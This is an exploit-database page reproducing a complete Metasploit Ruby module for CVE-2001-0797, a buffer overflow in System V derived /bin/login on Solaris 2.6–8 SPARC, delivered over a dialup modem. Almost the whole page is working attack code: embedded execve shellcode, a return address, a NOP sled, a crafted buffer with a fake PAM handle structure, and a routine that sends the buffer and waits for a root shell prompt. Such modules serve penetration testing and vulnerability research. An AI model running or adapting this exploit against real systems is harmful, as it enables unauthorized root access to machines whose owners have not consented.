Sploitus

Exploit for System V Derived /bin/login Extraneous Arguments Buffer Overflow (modem based)

seebug Β· 2001-12-12

Exploit Code

ruby224 lines
## https://sploitus.com/exploit?id=SSV:18062
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

    include Msf::Exploit::Remote::Dialup

    def initialize(info = {})
        super(update_info(info,
            'Name'      => 'System V Derived /bin/login Extraneous Arguments Buffer Overflow',
            'Description'   => %q{
                This exploit connects to a system's modem over dialup and exploits
                a buffer overlflow vulnerability in it's System V derived /bin/login.
                The vulnerability is triggered by providing a large number of arguments.
            },
         'References'     =>
            [
               [ 'CVE', '2001-0797'],
               [ 'OSVDB', '690'],
               [ 'OSVDB', '691'],
               [ 'BID', '3681'],
               [ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2002-10/0014.html'],
               [ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2004-12/0404.html'],
            ],
            'Version'   => '$Revision: 6479 $',
            'Author'    =>
                [
                    'I)ruid',
                ],
            'Arch'      => ARCH_TTY,
            'Platform'  => ['unix'],
            'License'   => MSF_LICENSE,
         'Payload'        =>
            {
               'Space'       => 3000,
               'BadChars'    => '',
                'DisableNops' => true,
            },
         'Targets'        =>
            [
               ['Solaris 2.6 - 8 (SPARC)', {
                        'Platform' => 'unix',
                        'Ret'      => 0x00027184,
                        # Solaris/SPARC special shellcode (courtesy of inode)
                        # execve() + exit()
                        'Shellcode' => 
                            "\x94\x10\x20\x00\x21\x0b\xd8\x9a\xa0\x14\x21\x6e\x23\x0b\xcb\xdc" +
                            "\xa2\x14\x63\x68\xd4\x23\xbf\xfc\xe2\x23\xbf\xf8\xe0\x23\xbf\xf4" +
                            "\x90\x23\xa0\x0c\xd4\x23\xbf\xf0\xd0\x23\xbf\xec\x92\x23\xa0\x14" +
                            "\x82\x10\x20\x3b\x91\xd0\x20\x08\x82\x10\x20\x01\x91\xd0\x20\x08",
                        'NOP' => "\x90\x1b\x80\x0e",
                    } ],

            ],
         'DefaultTarget' => 0
        ))

        register_options(
            [
#               OptString.new('USER', [true, 'User to log in as', 'bin']),
            ], self.class
        )

        deregister_options(
        )
    end

    def buildbuf
        print_status("Targeting: #{self.target.name}")

        retaddr   = self.target.ret
        shellcode = self.target['Shellcode']
        nop       = self.target['NOP']

        user      = datastore['USER']
        command   = datastore['COMMAND'] + "\n"

        # prepare the evil buffer
        i = 0
        buf = ''

        # login name
        buf[i,4] = 'bin '
        i += 4

        # return address
        buf[i,4] = [retaddr].pack('N')
        i += 4
        buf[i,1] = ' '
        i += 1

        # trigger the overflow
        (0...60).each {|c|
            buf[i,2] = 'a '
            i += 2
        }

        # padding
        buf[i,4] = ' BBB'
        i += 4

        # nop sled and shellcode
        (0...398).each {|c|
            buf[i,nop.size] = nop
            i += nop.size
        }
        shellcode.each_byte {|b|
            c = b.chr
            case 'c'
            when "\\"
                buf[i,2] = "\\\\"
                i += 2
            when "\xff", "\n", " ", "\t"
                buf[i,1] = "\\"
                buf[i+1,1] = (((b & 0300) >> 6) + '0').chr
                buf[i+2,1] = (((b & 0070) >> 3) + '0').chr
                buf[i+3,1] = ( (b & 0007)       + '0').chr
                i += 4
            else
                buf[i,1] = c
                i += 1
            end
        }
        # TODO: need to overwrite/skip the last byte of shellcode?
        #i -= 1

        # padding
        buf[i,4] = 'BBB '
        i += 4

        # pam_handle_t: minimal header
        buf[i,16] = 'CCCCCCCCCCCCCCCC'
        i += 16
        buf[i,4] = [retaddr].pack('N')
        i += 4
        buf[i,4] = [0x01].pack('N')
        i += 4

        # pam_handle_t: NULL padding
        (0...52).each {|c|
            buf[i,4] = [0].pack('N')
            i += 4
        }

        # pam_handle_t: pameptr must be the 65th ptr
        buf[i,9] = "\x00\x00\x00 AAAA\n"
        i += 9

        return buf
    end

    def exploit
        buf = buildbuf

        print_status("Dialing Target")
        if not connect_dialup
            print_error("Exiting.")
            return
        end

        print_status("Waiting for login prompt")

        res = dialup_expect(/ogin:\s/i, 10)
        #puts Rex::Text.to_hex_dump(res[:buffer]) 
        if not res[:match]
            print_error("Login prompt not found... Exiting.")
            disconnect_dialup
            return
        end

        # send the evil buffer, 256 chars at a time
        print_status("Sending evil buffer...")
        #puts Rex::Text.to_hex_dump(buf)
        len = buf.length
        p = 0
        while(len > 0) do
            i = len > 0x100 ? 0x100 : len
            #puts Rex::Text.to_hex_dump(buf[p,i])
            dialup_puts(buf[p,i])
            len -= i
            p += i
#           if len > 0
#               puts Rex::Text.to_hex_dump("\x04")
#               dialup_puts("\x04") if len > 0
#           end
            sleep 0.5
        end

        # wait for password prompt
        print_status("Waiting for password prompt")
        res = dialup_expect(/assword:/i, 30)
        #puts Rex::Text.to_hex_dump(res[:buffer]) 
        if not res[:match] 
            print_error("Target is likely not vulnerable... Exiting.")
            disconnect_dialup
            return
        end 

        print_status("Password prompt received, waiting for shell")
        dialup_puts("pass\n")

        res = dialup_expect(/#\s/i, 20)
        #puts Rex::Text.to_hex_dump(res[:buffer]) 
        if not res[:match]
            print_error("Shell not found.")
            print_error("Target is likely not vulnerable... Exiting.")
            disconnect_dialup
            return
        end

        print_status("Success!!!")
        handler

        disconnect_dialup
    end

end